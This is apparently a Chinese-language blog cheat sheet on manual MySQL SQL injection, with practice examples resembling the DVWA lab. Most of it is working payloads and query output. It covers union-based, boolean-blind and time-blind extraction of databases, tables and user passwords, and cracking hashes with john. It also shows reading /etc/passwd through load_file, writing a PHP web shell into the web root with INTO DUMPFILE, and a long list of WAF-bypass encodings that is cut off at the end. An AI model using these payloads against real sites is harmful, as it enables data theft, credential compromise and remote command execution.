Sql手工注入总结

Mysql 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Mysql 注入

Order by x #猜列

1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() %23


%23 表示的是 # 这里url编码为了防止拦截 整条语句是为了调出当前数据库里面所有的表

1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = '' %23

看一个表里面所有的列明


1' union select 1,flag,3,4 from flag %23

你懂的


select @@global.version_compile_os ; 获得操作系统信息。
 1' and 1=2 union select 1,@@global.version_compile_os from mysql.user -- 

Root 判断
1' and ord(mid(user(),1,1))=114 --


获取数据库名称
1' and 1=2 union select 1,schema_name from information_schema.schemata --

猜解dvwa数据库中的表名(无卵用)
 select * from user where 1 =1 and exists(select * from  host);

获得字段名(无卵用)。
1' and exists(select first_name from users) --
其实都是可以从information_schema 中获取的

获取数据库中的表 (有用)
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

获取表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # (如果遇到单引号转义情况)

dump数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

Mysql 盲注

既然在盲注情况下,从页面上只能判断1,0的情况,那么我们可以对databae()的结果截取一个字符,转换成ascii后进行运算,根据true或false的结果确认截取的这个字符的ASCII码,然后在将这个ascii码转换成字符,从而得到database()里面的第一个值。依次类推,得到所有结果。

其实你能发现有 sql 盲注 那么就使用sqlmap 来帮助我们来操作

1
2
3
4
5
6
7
8
得到当前数据库名称
select database();
得到截取当前数据库的第一个字符
select substr(database(),1,1);
得到截取当前数据库的第一个字符的ASCII值
select ascii(substr(database(),1,1));
得到截取当前数据库的第一个字符的ASCII值是否大于97
select ascii(substr(database(),1,1)) > 97;

猜解当前数据库名
想要猜解当前数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

1
2
3
4
5
6
7
输入1’ and length(database())=1 #,显示不存在;

输入1’ and length(database())=2 #,显示不存在;

输入1’ and length(database())=3 #,显示不存在;

输入1’ and length(database())=4 #,显示存在,

说明数据库名长度为4。

下面采用二分法猜解数据库名。即对a-z的所有字符采用二分法遍历注入,根据注入结果进行确定数据库的库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
输入1’ and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

输入1’ and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1’ and ascii(substr(database(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1’ and ascii(substr(database(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1’ and ascii(substr(database(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入1’ and ascii(substr(database(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

用同样的方法,猜解第二个字母v

用同样的方法,猜解第三个字母w

用同样的方法,猜解第三个字母a

我们可以大概的计算下,如果每一个字母猜解需要非常多次注入。

猜解数据库中的表名
首先猜解数据库中表的数量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

显示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #

显示不存在



1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

显示存在

说明第一个表名长度为9。

通过盲注的方式注入如下语句【用二分查找的次序】:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #

显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #

显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #

显示不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #

显示不存在

说明第一个表的名字的第一个字符为小写字母g。


猜解表中的字段名
首先猜解表中字段的数量:

1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #

显示不存在



1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #

显示存在

说明users表有8个字段。

接着挨个猜解字段名:

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #

显示不存在

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #

显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

其中 users 的字段分别为user_id first_name last_name

猜解数据

同样采用二分法。我们来猜解 first_name的值

在猜解之前,我们先使用mysql 客户端来熟悉下以下的SQL语句:

1
2
3
4
5
select first_name from users  limit 0,1;

select substr((select first_name from users limit 0,1),1,1);

select ascii(substr((select first_name from users limit 0,1),1,1));

首先注入

1
1'  and  ascii(substr((select first_name from users  limit 0,1),1,1))> 97 #

显示是不存在,说明first_name第一个字母就是a

接着注入

1
1'  and  ascii(substr((select first_name from users  limit 0,1),2,1))> 97 #

显示存在。

1
1'  and  ascii(substr((select first_name from users  limit 0,1),2,1))< 122 #

显示存在。

……

这样可以完全得到第一行、第一列的数据,同样可以得到其他列的数据。不过盲注的过程是非常辛苦的。

时间盲注

判断是否存在注入,注入是字符型还是数字型

1
2
3
输入1'  and sleep(5) #,感觉到明显延迟;

输入1 and sleep(5) #,没有延迟;

说明存在字符型的基于时间的盲注。

猜解当前数据库名
首先猜解数据名的长度:

1
2
3
4
5
6
7
1'  and if(length(database())=1,sleep(5),1) # 没有延迟

1' and if(length(database())=2,sleep(5),1) # 没有延迟

1' and if(length(database())=3,sleep(5),1) # 没有延迟

1' and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为4个字符。

接着采用二分法猜解数据库名:

1
2
3
4
5
6
7
1'  and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟



1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。

重复上述步骤,即可猜解出数据库名。

猜解数据库中的表名
首先猜解数据库中表的数量:

1
2
3
1'  and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。

接着挨个猜解表名:

1
2
3
4
5
1'  and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟



1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为9个字符。

采用二分法即可猜解出表名。

猜解表中的字段名
首先猜解表中字段的数量:

1
2
3
4
5
1'  and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟



1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。

接着挨个猜解字段名:

1
2
3
4
5
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟



1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7个字符。

采用二分法即可猜解出各个字段名。

猜解数据
同样采用二分法。

首先注入

1
1' and  ascii(substr((select first_name from users  limit 0,1),1,1))> 97 and sleep(5)  #

不延迟 ,说明first_name第一个字母就是a

接着注入

1
1' and  ascii(substr((select first_name from users  limit 0,1),2,1))> 97 and sleep(5) #

延迟,接着注入

1
1' and  ascii(substr((select first_name from users  limit 0,1),2,1))< 122 #

延迟

……

这样可以猜测到所有的字段值

基于报错的检查方法

  • %
  • ()

基于布尔的检查

  • 1’ and ‘1’=’1
    • 1’ and ‘1
  • 1’ and ‘1’=’2
    • 1’ and ‘0

查询字段数

  • ‘ order by 2 –
  • ‘ union select 1,2 –

一些常用变量

  • user()
  • version()
  • database()
  • 全局变量
    • @@datadir
    • @@hostname
    • @@VERSION
    • @@version_compile_os
  • CHAR() #利用这个可以绕过一些校验不严的过滤机制
  • CONCAT_WS() #表示把前后的字符进行连接
    • ‘ union select CONCAT_WS(CHAR(32,58,32),user(),database()),null –
    • 把多个函数联合在一起 形成一个函数 然后把显示结果可以一并输出在第一个字段里面
    • 结果 root@localhost : dvwa
    • CHAR(32,58,32) 其实就是每次的结果的分隔号 空格冒号空格
  • md5()
  • substring_index()
    • ‘ union select null,substring_index(user(),‘@’,1) –
    • 就是 把root@localhost 进行切分 以@ 来进行切分切分成两段 只要第一段

常用语句

列出所有表 并显示出属于哪个数据库的

1
' union select table_name,table_schema from information_schema.tables --

统计每个库表的数量

1
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
1
2
3
4
5
6
7
8
9
10
11
mysql> select table_schema,count(*) FROM information_Schema.tables group by table_schema;
+--------------------+----------+
| table_schema | count(*) |
+--------------------+----------+
| information_schema | 61 |
| mysql | 31 |
| performance_schema | 87 |
| sys | 101 |
| test | 1 |
+--------------------+----------+
5 rows in set (0.01 sec)

查询某个库里面所有的表

1
' union select table_name,table_schema from information_schema.tables where table_schema='test' --
1
2
3
4
5
6
7
mysql> select table_name,table_schema from information_schema.tables where table_schema='test';
+------------+--------------+
| table_name | table_schema |
+------------+--------------+
| userinfo | test |
+------------+--------------+
1 row in set (0.01 sec)

查询一张表里面的所有的字段

1
' union select table_name,column_name from information_schema.columns where table_schema='test' and table_name='userinfo' --
1
2
3
4
5
6
7
8
9
mysql> select table_name,column_name from information_schema.columns where table_schema='test' and table_name='userinfo';
+------------+-------------+
| table_name | column_name |
+------------+-------------+
| userinfo | id |
| userinfo | username |
| userinfo | password |
+------------+-------------+
3 rows in set (0.00 sec)

查询字段内容

1
2
' union select username,password from userinfo -- 
' union select null,concat(username,0x3a,password) from userinfo --

0x3a 是ascii 的十六进制

1
2
3
4
5
6
7
8
mysql> select username,password from userinfo;
+----------+----------+
| username | password |
+----------+----------+
| hxb | cisco |
| ggg | cisco |
+----------+----------+
2 rows in set (0.01 sec)

1
2
3
4
5
6
7
8
mysql> select concat(username,0x3a,password) from userinfo;
+--------------------------------+
| concat(username,0x3a,password) |
+--------------------------------+
| hxb:cisco |
| ggg:cisco |
+--------------------------------+
2 rows in set (0.00 sec)

密码破解

使用 hash-identifier 识别加密类型
还有Hash-Algorithm-Identifier

https://github.com/AnimeshShaw/Hash-Algorithm-Identifier.git

1
john --format=raw-MD5 password.txt

john 对密码文件有格式要求 username:pass

通过 –show 可以把之前破解的密码显示出来

家目录下 .john 下的 john.pot 有破解记录

读文件

1
' union SELECT null,load_file('/etc/passwd')--

是否能够正常的读取的到 这个要看用户的权限

写文件

1
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --

写文件前提需要知道网站绝对路径
把要写入的内容放在 第二个字段上面用双引号 引起来

有些时候 往往我们上传上去的 文件 自己找不到在哪 或者没有办法利用 这种时候 我们就要利用到文件包含漏洞了 可以吧文件传到 /tmp/ 下面

如果mysql 被root 执行了 (习惯不好)那么获取的就是 root的权限的 一定要做到权限分离和权限最小化原则

编码上传(绕过滤)

union select

1
2
3
4
5
6
7
8
mysql> select * from userinfo where username='sql' union(select 1,2,3);
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | sql | cisco |
| 1 | 2 | 3 |
+------+----------+----------+
2 rows in set (0.00 sec)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
and  (select  1)=(select

0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6
1
/*&id=9 u%0bnion select 1 # #3%3 %df%27&*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
 /*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+



WAF Bypassing Strings:
5
6 /*!%55NiOn*/ /*!%53eLEct*/
7
8 %55nion(%53elect 1,2,3)-- -
9
10 +union+distinct+select+
11
12 +union+distinctROW+select+
13
14 /**//*!12345UNION SELECT*//**/
15
16 /**//*!50000UNION SELECT*//**/
17
18 /**/UNION/**//*!50000SELECT*//**/
19
20 /*!50000UniON SeLeCt*/
21
22 union /*!50000%53elect*/
23
24 +#uNiOn+#sEleCt
25
26 +#1q%0AuNiOn all#qa%0A#%0AsEleCt
27
28 /*!%55NiOn*/ /*!%53eLEct*/
29
30 /*!u%6eion*/ /*!se%6cect*/
31
32 +un/**/ion+se/**/lect
33
34 uni%0bon+se%0blect
35
36 %2f**%2funion%2f**%2fselect
37
38 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
39
40 REVERSE(noinu)+REVERSE(tceles)
41
42 /*--*/union/*--*/select/*--*/
43
44 union (/*!/**/ SeleCT */ 1,2,3)
45
46 /*!union*/+/*!select*/
47
48 union+/*!select*/
49
50 /**/union/**/select/**/
51
52 /**/uNIon/**/sEleCt/**/
53
54 /**//*!union*//**//*!select*//**/
55
56 /*!uNIOn*/ /*!SelECt*/
57
58 +union+distinct+select+
59
60 +union+distinctROW+select+
61
62 +UnIOn%0d%0aSeleCt%0d%0a
63
64 UNION/*&test=1*/SELECT/*&pwn=2*/
65
66 un?+un/**/ion+se/**/lect+
67
68 +UNunionION+SEselectLECT+
69
70 +uni%0bon+se%0blect+
71
72 %252f%252a*/union%252f%252a /select%252f%252a*/
73
74 /%2A%2A/union/%2A%2A/select/%2A%2A/
75
76 %2f**%2funion%2f**%2fselect%2f**%2f
77
78 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
79
80 /*!UnIoN*/SeLecT+
81
82 ##
83 #
84 #
85 #Union Select by PASS with Url Encoded Method:
86
87 %55nion(%53elect)
88
89 union%20distinct%20select
90
91 union%20%64istinctRO%57%20select
92
93 union%2053elect
94
95 %23?%0auion%20?%23?%0aselect
96
97 %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
98
99 %55nion %53eLEct
100
101 u%6eion se%6cect
102
103 unio%6e %73elect
104
105 unio%6e%20%64istinc%74%20%73elect
106
107 uni%6fn distinct%52OW s%65lect
108
109 %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7